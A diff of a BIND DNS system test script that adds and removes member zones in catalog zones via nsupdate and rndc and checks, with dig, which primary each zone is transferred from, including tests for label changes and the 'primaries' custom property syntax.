-echo_i "removing domain dom11.example. from catalog1 zone ($n)"
+echo_i "checking that dom16.example. is no longer served by secondary ($n)"
 ret=0
-$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-   server 10.53.0.1 ${PORT}
-   update delete 0580d70e769c86c8b951a488d8b776627f427d7a.zones.catalog1.example
-   send
-END
+wait_for_no_soa @10.53.0.2 dom16.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+echo_i "Reloading secondary ns2 via RNDC ($n)"
+ret=0
+rndccmd 10.53.0.2 reload >/dev/null 2>&1 || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "zone_shutdown: zone dom11.example/IN: shutting down" || ret=1
+wait_for_message ns2/named.run  "catz: zone 'dom16.example' was expected to exist but can not be found, will be restored" || ret=1
+wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
+wait_for_message ns2/named.run  "catz: catalog1.example: reload done: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom11.example. is not served by secondary ($n)"
+echo_i "checking that dom16.example. is served by secondary and that it's the one from ns1 ($n)"
 ret=0
-wait_for_no_soa @10.53.0.2 dom11.example. dig.out.test$n || ret=1
+wait_for_a @10.53.0.2 dom16.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that subdomain.of.dom11.example. is still served by secondary ($n)"
+echo_i "checking that dom8.example. was not accidentally deleted during the configuration ($n)"
 ret=0
-wait_for_soa @10.53.0.2 subdomain.of.dom11.example. dig.out.test$n || ret=1
+_wait_for_message ns2/named.run "catz: zone 'dom8.example' was expected to exist but can not be found, will be restored" && ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "removing domain subdomain.of.dom11.example. from catalog1 zone ($n)"
+echo_i "Deleting domain dom16.example. from catalog1 ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-   server 10.53.0.1 ${PORT}
-   update delete 25557e0bdd10cb3710199bb421b776df160f241e.zones.catalog1.example
-   send
+    server 10.53.0.1 ${PORT}
+    update delete efe725d0cf430ffb113b9bcf59266f066a21216b.zones.catalog1.example. 3600 IN PTR dom16.example.
+    update delete masters.efe725d0cf430ffb113b9bcf59266f066a21216b.zones.catalog1.example. 3600 IN A 10.53.0.1
+    send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -1030,182 +2055,174 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "zone_shutdown: zone subdomain.of.dom11.example/IN: shutting down" || ret=1
+wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that subdomain.of.dom11.example. is not served by secondary ($n)"
+echo_i "checking that dom16.example. is no longer served by secondary ($n)"
 ret=0
-wait_for_no_soa @10.53.0.2 subdomain.of.d11.example. dig.out.test$n || ret=1
+wait_for_no_soa @10.53.0.2 dom16.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 ##########################################################################
-echo_i "Testing adding a catalog zone at runtime with rndc reconfig"
+echo_i "Testing having a regular zone and a zone in catalog zone of the same name"
 n=$((n+1))
-echo_i "checking that dom12.example. is not served by primary ($n)"
+echo_i "checking that dom14.example. is not served by primary ($n)"
 ret=0
-wait_for_no_soa @10.53.0.1 dom12.example. dig.out.test$n || ret=1
+wait_for_no_soa @10.53.0.1 dom14.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "Adding a domain dom12.example. to primary via RNDC ($n)"
+echo_i "Adding a domain dom14.example. to primary ns1 via RNDC ($n)"
 ret=0
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom12.example.db
-echo "@ IN NS invalid." >> ns1/dom12.example.db
-rndccmd 10.53.0.1 addzone dom12.example. '{type primary; file "dom12.example.db";};' || ret=1
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom14.example.db
+echo "@ IN NS invalid." >> ns1/dom14.example.db
+echo "@ IN A 192.0.2.1" >> ns1/dom14.example.db
+rndccmd 10.53.0.1 addzone dom14.example. in default '{type primary; file "dom14.example.db";};' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom12.example. is now served by primary ($n)"
+echo_i "checking that dom14.example. is now served by primary ns1 ($n)"
 ret=0
-wait_for_soa @10.53.0.1 dom12.example. dig.out.test$n || ret=1
+wait_for_soa @10.53.0.1 dom14.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-nextpart ns2/named.run >/dev/null
-
 n=$((n+1))
-echo_i "Adding domain dom12.example. to catalog4 zone ($n)"
+echo_i "Adding a domain dom14.example. to primary ns3 via RNDC ($n)"
 ret=0
-$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.1 ${PORT}
-    update add 871d51e5433543c0f6fb263c40f359fbc152c8ae.zones.catalog4.example. 3600 IN PTR dom12.example.
-    send
-END
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns3/dom14.example.db
+echo "@ IN NS invalid." >> ns3/dom14.example.db
+echo "@ IN A 192.0.2.2" >> ns3/dom14.example.db
+rndccmd 10.53.0.3 addzone dom14.example. '{type primary; file "dom14.example.db";};' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom12.example. is not served by secondary ($n)"
+echo_i "checking that dom14.example. is now served by primary ns3 ($n)"
 ret=0
-wait_for_no_soa @10.53.0.2 dom12.example. dig.out.test$n || ret=1
+wait_for_soa @10.53.0.3 dom14.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
 
 n=$((n+1))
-echo_i "reconfiguring secondary - adding catalog4 catalog zone ($n)"
+echo_i "Adding domain dom14.example. with rndc with ns1 as primary ($n)"
 ret=0
-sed -e "s/^#T1//g" <  ns2/named.conf.in > ns2/named.conf.tmp
-copy_setports ns2/named.conf.tmp ns2/named.conf
-rndccmd 10.53.0.2 reconfig || ret=1
+rndccmd 10.53.0.2 addzone dom14.example. in default '{type secondary; primaries {10.53.0.1;};};' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: adding zone 'dom12.example' from catalog 'catalog4.example'" &&
-wait_for_message ns2/named.run  "transfer of 'dom12.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+wait_for_message ns2/named.run  "transfer of 'dom14.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-n=$((n+1))
-echo_i "checking that dom7.example. is still served by secondary after reconfiguration ($n)"
-ret=0
-wait_for_soa @10.53.0.2 dom7.example. dig.out.test$n -b 10.53.0.1 || ret=1
-if [ $ret -ne 0 ]; then echo_i "failed"; fi
-status=$((status+ret))
-n=$((n+1))
+nextpart ns2/named.run >/dev/null
 
-echo_i "checking that dom12.example. is served by secondary ($n)"
+n=$((n+1))
+echo_i "checking that dom14.example. is served by secondary and that it's the one from ns1 ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom12.example. dig.out.test$n || ret=1
+wait_for_a @10.53.0.2 dom14.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "reconfiguring secondary - removing catalog4 catalog zone, adding non-existent catalog5 catalog zone ($n)"
+echo_i "Adding domain dom14.example. to catalog2 zone with ns3 as primary ($n)"
 ret=0
-sed -e "s/^#T2//" < ns2/named.conf.in > ns2/named.conf.tmp
-copy_setports ns2/named.conf.tmp ns2/named.conf
-$RNDC -c ../common/rndc.conf -s 10.53.0.2 -p 9953 reconfig > /dev/null 2>&1 && ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.3 ${PORT}
+    update add 45e3d45ea5f7bd01c395ccbde6ae2e750a3ee8ab.zones.catalog2.example. 3600 IN PTR dom14.example.
+    update add primaries.45e3d45ea5f7bd01c395ccbde6ae2e750a3ee8ab.zones.catalog2.example. 3600 IN A 10.53.0.3
+    send
+END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "reconfiguring secondary - removing non-existent catalog5 catalog zone ($n)"
+echo_i "waiting for secondary to sync up ($n)"
 ret=0
-copy_setports ns2/named.conf.in ns2/named.conf
-rndccmd 10.53.0.2 reconfig || ret=1
+wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom12.example. is not served by secondary ($n)"
+echo_i "checking that dom14.example. is served by secondary and that it's still the one from ns1 ($n)"
 ret=0
-wait_for_no_soa @10.53.0.2 dom12.example. dig.out.test$n || ret=1
+wait_for_a @10.53.0.2 dom14.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "removing domain dom12.example. from catalog4 zone ($n)"
+echo_i "Deleting domain dom14.example. from catalog2 ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.1 ${PORT}
-    update delete 871d51e5433543c0f6fb263c40f359fbc152c8ae.zones.catalog4.example. 3600 IN PTR dom12.example.
+    server 10.53.0.3 ${PORT}
+    update delete 45e3d45ea5f7bd01c395ccbde6ae2e750a3ee8ab.zones.catalog2.example. 3600 IN PTR dom14.example.
+    update delete primaries.45e3d45ea5f7bd01c395ccbde6ae2e750a3ee8ab.zones.catalog2.example. 3600 IN A 10.53.0.3
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-##########################################################################
-echo_i "Testing having a zone in two different catalogs"
 n=$((n+1))
-echo_i "checking that dom13.example. is not served by primary ($n)"
+echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_no_soa @10.53.0.1 dom13.example. dig.out.test$n || ret=1
+wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "Adding a domain dom13.example. to primary ns1 via RNDC ($n)"
+echo_i "checking that dom14.example. is served by secondary and that it's still the one from ns1 ($n)"
 ret=0
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom13.example.db
-echo "@ IN NS invalid." >> ns1/dom13.example.db
-echo "@ IN A 192.0.2.1" >> ns1/dom13.example.db
-rndccmd 10.53.0.1 addzone dom13.example. '{type primary; file "dom13.example.db";};' || ret=1
+wait_for_a @10.53.0.2 dom14.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+##########################################################################
+echo_i "Testing changing label for a member zone"
 n=$((n+1))
-echo_i "checking that dom13.example. is now served by primary ns1 ($n)"
+echo_i "checking that dom15.example. is not served by primary ($n)"
 ret=0
-wait_for_soa @10.53.0.1 dom13.example. dig.out.test$n || ret=1
+wait_for_no_soa @10.53.0.1 dom15.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "Adding a domain dom13.example. to primary ns3 via RNDC ($n)"
+echo_i "Adding a domain dom15.example. to primary ns1 via RNDC ($n)"
 ret=0
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns3/dom13.example.db
-echo "@ IN NS invalid." >> ns3/dom13.example.db
-echo "@ IN A 192.0.2.2" >> ns3/dom13.example.db
-rndccmd 10.53.0.3 addzone dom13.example. '{type primary; file "dom13.example.db";};' || ret=1
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom15.example.db
+echo "@ IN NS invalid." >> ns1/dom15.example.db
+rndccmd 10.53.0.1 addzone dom15.example. in default '{type primary; file "dom15.example.db";};' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom13.example. is now served by primary ns3 ($n)"
+echo_i "checking that dom15.example. is now served by primary ns1 ($n)"
 ret=0
-wait_for_soa @10.53.0.3 dom13.example. dig.out.test$n || ret=1
+wait_for_soa @10.53.0.1 dom15.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-
 nextpart ns2/named.run >/dev/null
 
-n=$((n+1))
-echo_i "Adding domain dom13.example. to catalog1 zone with ns1 as primary ($n)"
+echo_i "Adding domain dom15.example. to catalog1 zone with 'dom15label1' label ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update add 8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog1.example. 3600 IN PTR dom13.example.
-    update add masters.8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog1.example. 3600 IN A 10.53.0.1
+    update add dom15label1.zones.catalog1.example. 3600 IN PTR dom15.example.
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -1214,28 +2231,28 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: adding zone 'dom13.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run  "transfer of 'dom13.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-nextpart ns2/named.run >/dev/null
+sleep 3
 
 n=$((n+1))
-echo_i "checking that dom13.example. is served by secondary and that it's the one from ns1 ($n)"
+echo_i "checking that dom15.example. is served by secondary ($n)"
 ret=0
-wait_for_a @10.53.0.2 dom13.example. dig.out.test$n || ret=1
-grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
+wait_for_soa @10.53.0.2 dom15.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "Adding domain dom13.example. to catalog2 zone with ns3 as primary ($n)"
+echo_i "Changing label of domain dom15.example. from 'dom15label1' to 'dom15label2' ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.3 ${PORT}
-    update add 8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog2.example. 3600 IN PTR dom13.example.
-    update add masters.8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog2.example. 3600 IN A 10.53.0.3
+    server 10.53.0.1 ${PORT}
+    update delete dom15label1.zones.catalog1.example. 3600 IN PTR dom15.example.
+    update add dom15label2.zones.catalog1.example. 3600 IN PTR dom15.example.
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -1249,144 +2266,202 @@ if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom13.example. is served by secondary and that it's still the one from ns1 ($n)"
+echo_i "checking that dom15.example. is served by secondary ($n)"
 ret=0
-wait_for_a @10.53.0.2 dom13.example. dig.out.test$n || ret=1
-grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
+wait_for_soa @10.53.0.2 dom15.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-nextpart ns2/named.run >/dev/null
+##########################################################################
+echo_i "Testing custom properties version '1' and version '2' syntaxes"
+n=$((n+1))
+echo_i "checking that dom17.example. is not served by primary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.1 dom17.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 n=$((n+1))
-echo_i "Deleting domain dom13.example. from catalog2 ($n)"
+echo_i "checking that dom18.example. is not served by primary ($n)"
 ret=0
-$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.3 ${PORT}
-    update delete 8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog2.example. 3600 IN PTR dom13.example.
-    update delete masters.8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog2.example. 3600 IN A 10.53.0.3
-    send
-END
+wait_for_no_soa @10.53.0.1 dom18.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "waiting for secondary to sync up ($n)"
+echo_i "adding domains dom17.example. and dom18.example. to primary ns1 via RNDC ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom17.example.db
+echo "@ IN NS invalid." >> ns1/dom17.example.db
+echo "@ IN A 192.0.2.1" >> ns1/dom17.example.db
+rndccmd 10.53.0.1 addzone dom17.example. in default '{type primary; file "dom17.example.db";};' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom18.example.db
+echo "@ IN NS invalid." >> ns1/dom18.example.db
+echo "@ IN A 192.0.2.1" >> ns1/dom18.example.db
+rndccmd 10.53.0.1 addzone dom18.example. in default '{type primary; file "dom18.example.db";};' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom13.example. is served by secondary and that it's still the one from ns1 ($n)"
+echo_i "checking that dom17.example. is now served by primary ns1 ($n)"
 ret=0
-wait_for_a @10.53.0.2 dom13.example. dig.out.test$n || ret=1
-grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
+wait_for_soa @10.53.0.1 dom17.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "Deleting domain dom13.example. from catalog1 ($n)"
+echo_i "checking that dom18.example. is now served by primary ns1 ($n)"
 ret=0
-$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.1 ${PORT}
-    update delete 8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog1.example. 3600 IN PTR dom13.example.
-    update delete masters.8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog1.example. 3600 IN A 10.53.0.2
-    send
-END
+wait_for_soa @10.53.0.1 dom18.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "waiting for secondary to sync up ($n)"
+echo_i "checking that dom17.example. is not served by primary ns3 ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
+wait_for_no_soa @10.53.0.3 dom17.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom13.example. is no longer served by secondary ($n)"
+echo_i "checking that dom18.example. is not served by primary ns3 ($n)"
 ret=0
-wait_for_no_soa @10.53.0.2 dom13.example. dig.out.test$n || ret=1
+wait_for_no_soa @10.53.0.3 dom18.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-##########################################################################
-echo_i "Testing having a regular zone and a zone in catalog zone of the same name"
 n=$((n+1))
-echo_i "checking that dom14.example. is not served by primary ($n)"
+echo_i "adding domains dom17.example. and dom18.example. to primary ns3 via RNDC ($n)"
 ret=0
-wait_for_no_soa @10.53.0.1 dom14.example. dig.out.test$n || ret=1
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns3/dom17.example.db
+echo "@ IN NS invalid." >> ns3/dom17.example.db
+echo "@ IN A 192.0.2.2" >> ns3/dom17.example.db
+rndccmd 10.53.0.3 addzone dom17.example. '{type primary; file "dom17.example.db";};' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns3/dom18.example.db
+echo "@ IN NS invalid." >> ns3/dom18.example.db
+echo "@ IN A 192.0.2.2" >> ns3/dom18.example.db
+rndccmd 10.53.0.3 addzone dom18.example. '{type primary; file "dom18.example.db";};' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "Adding a domain dom14.example. to primary ns1 via RNDC ($n)"
+echo_i "checking that dom17.example. is now served by primary ns3 ($n)"
 ret=0
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom14.example.db
-echo "@ IN NS invalid." >> ns1/dom14.example.db
-echo "@ IN A 192.0.2.1" >> ns1/dom14.example.db
-rndccmd 10.53.0.1 addzone dom14.example. '{type primary; file "dom14.example.db";};' || ret=1
+wait_for_soa @10.53.0.3 dom17.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom14.example. is now served by primary ns1 ($n)"
+echo_i "checking that dom18.example. is now served by primary ns3 ($n)"
 ret=0
-wait_for_soa @10.53.0.1 dom14.example. dig.out.test$n || ret=1
+wait_for_soa @10.53.0.3 dom17.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "Adding a domain dom14.example. to primary ns3 via RNDC ($n)"
+echo_i "adding domains dom17.example. and dom18.example. to catalog1 zone with ns3 as custom primary using different custom properties syntax ($n)"
 ret=0
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns3/dom14.example.db
-echo "@ IN NS invalid." >> ns3/dom14.example.db
-echo "@ IN A 192.0.2.2" >> ns3/dom14.example.db
-rndccmd 10.53.0.3 addzone dom14.example. '{type primary; file "dom14.example.db";};' || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add dom17.zones.catalog1.example. 3600 IN PTR dom17.example.
+    update add dom18.zones.catalog1.example. 3600 IN PTR dom18.example.
+    update add primaries.dom17.zones.catalog1.example. 3600 IN A 10.53.0.3
+    update add primaries.ext.dom18.zones.catalog1.example. 3600 IN A 10.53.0.3
+    send
+END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom14.example. is now served by primary ns3 ($n)"
+echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_soa @10.53.0.3 dom14.example. dig.out.test$n || ret=1
+wait_for_message ns2/named.run "catz: invalid record in catalog zone - primaries.dom17.zones.catalog1.example IN A (failure) - ignoring" &&
+wait_for_message ns2/named.run "catz: adding zone 'dom17.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run "catz: adding zone 'dom18.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run "transfer of 'dom17.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" &&
+wait_for_message ns2/named.run "transfer of 'dom18.example/IN/default' from 10.53.0.3#${PORT}: Transfer status: success" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+# The "primaries" custom property for dom17.example. was added using the legacy
+# syntax into a version 2 catalog1 zone, so we expect that it was ignored, no
+# override of the default setting happened, and dom17.example. was transferred
+# from the ns1 primary (the default).
+n=$((n+1))
+echo_i "checking that dom17.example. is served by secondary and that it's the one from ns1 ($n)"
+ret=0
+wait_for_a @10.53.0.2 dom17.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+# The "primaries" custom property for dom18.example. was added using a supported
+# syntax into a version 2 catalog1 zone, so we expect that it was processed,
+# will override the default setting, and dom18.example. was transferred
+# from the ns3 primary.
+n=$((n+1))
+echo_i "checking that dom18.example. is served by secondary and that it's the one from ns3 ($n)"
+ret=0
+wait_for_a @10.53.0.2 dom18.example. dig.out.test$n || ret=1
+grep "192.0.2.2" dig.out.test$n > /dev/null || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 nextpart ns2/named.run >/dev/null
 
 n=$((n+1))
-echo_i "Adding domain dom14.example. with rndc with ns1 as primary ($n)"
+echo_i "deleting domain dom17.example. and dom18.example. from catalog1 ($n)"
 ret=0
-rndccmd 10.53.0.2 addzone dom14.example. '{type secondary; primaries {10.53.0.1;};};' || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update delete dom17.zones.catalog1.example. 3600 IN PTR dom17.example.
+    update delete dom18.zones.catalog1.example. 3600 IN PTR dom18.example.
+    update delete primaries.dom17.zones.catalog1.example. 3600 IN A 10.53.0.3
+    update delete primaries.ext.dom18.zones.catalog1.example. 3600 IN A 10.53.0.3
+    send
+END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "transfer of 'dom14.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+wait_for_message ns2/named.run  "catz: catz_delzone_cb: zone 'dom17.example' deleted" &&
+wait_for_message ns2/named.run  "catz: catz_delzone_cb: zone 'dom18.example' deleted" &&
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-nextpart ns2/named.run >/dev/null
+n=$((n+1))
+echo_i "checking that dom17.example. is not served by secondary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 dom17.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom14.example. is served by secondary and that it's the one from ns1 ($n)"
+echo_i "checking that dom18.example. is not served by secondary ($n)"
 ret=0
-wait_for_a @10.53.0.2 dom14.example. dig.out.test$n || ret=1
-grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
+wait_for_no_soa @10.53.0.2 dom18.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "Adding domain dom14.example. to catalog2 zone with ns3 as primary ($n)"
+echo_i "adding domains dom17.example. and dom18.example. to catalog2 zone with ns3 as custom primary using different custom properties syntax ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.3 ${PORT}
-    update add 45e3d45ea5f7bd01c395ccbde6ae2e750a3ee8ab.zones.catalog2.example. 3600 IN PTR dom14.example.
-    update add masters.45e3d45ea5f7bd01c395ccbde6ae2e750a3ee8ab.zones.catalog2.example. 3600 IN A 10.53.0.3
+    update add dom17.zones.catalog2.example. 3600 IN PTR dom17.example.
+    update add dom18.zones.catalog2.example. 3600 IN PTR dom18.example.
+    update add primaries.dom17.zones.catalog2.example. 3600 IN A 10.53.0.3
+    update add primaries.ext.dom18.zones.catalog2.example. 3600 IN A 10.53.0.3
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -1395,14 +2470,34 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
+wait_for_message ns2/named.run "catz: invalid record in catalog zone - primaries.ext.dom18.zones.catalog2.example IN A (failure) - ignoring" &&
+wait_for_message ns2/named.run "catz: adding zone 'dom17.example' from catalog 'catalog2.example'" &&
+wait_for_message ns2/named.run "catz: adding zone 'dom18.example' from catalog 'catalog2.example'" &&
+wait_for_message ns2/named.run "transfer of 'dom17.example/IN/default' from 10.53.0.3#${PORT}: Transfer status: success" &&
